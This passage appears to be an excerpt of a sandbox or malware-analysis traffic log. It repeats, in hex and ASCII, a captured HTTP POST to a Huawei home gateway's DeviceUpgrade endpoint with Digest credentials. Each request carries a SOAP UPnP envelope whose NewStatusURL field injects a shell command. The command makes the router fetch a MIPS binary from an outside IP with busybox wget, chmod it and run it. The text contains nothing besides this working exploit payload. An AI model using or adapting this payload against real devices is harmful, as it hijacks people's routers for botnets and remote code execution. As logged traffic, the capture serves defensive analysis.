6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 